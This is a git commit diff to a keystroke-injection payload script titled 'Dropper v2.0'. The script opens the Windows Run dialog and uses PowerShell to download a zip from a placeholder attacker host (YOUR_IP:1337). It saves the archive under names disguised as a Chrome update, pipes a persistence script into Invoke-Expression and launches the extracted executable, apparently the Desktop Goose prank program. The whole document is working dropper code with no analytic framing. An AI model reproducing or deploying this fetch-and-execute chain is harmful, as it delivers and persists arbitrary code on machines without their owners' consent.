Dropper v2.0
This commit is contained in:
@@ -4,9 +4,9 @@ REM DESCRIPTION Grab the Desktop Goose executable from an attacker machine and r
|
||||
DELAY 500
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell wget YOUR_IP:1337/update.zip -OutFile $ENV:Temp/Updater.zip
|
||||
STRING powershell wget YOUR_IP:1337 -OutFile $ENV:Temp/Updater.zip
|
||||
ENTER
|
||||
DELAY 5000
|
||||
DELAY 8000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell Expand-Archive $ENV:Temp\Updater.zip -DestinationPath $ENV:Temp\Chrome_Update
|
||||
@@ -14,5 +14,10 @@ ENTER
|
||||
DELAY 3000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell gc $env:Temp\Chrome_Update\Update\PersistentGoose.ps1 | iex
|
||||
ENTER
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING %Temp%\Chrome_Update\Update\GooseDesktop.exe
|
||||
ENTER
|
||||
|
||||
Reference in New Issue
Block a user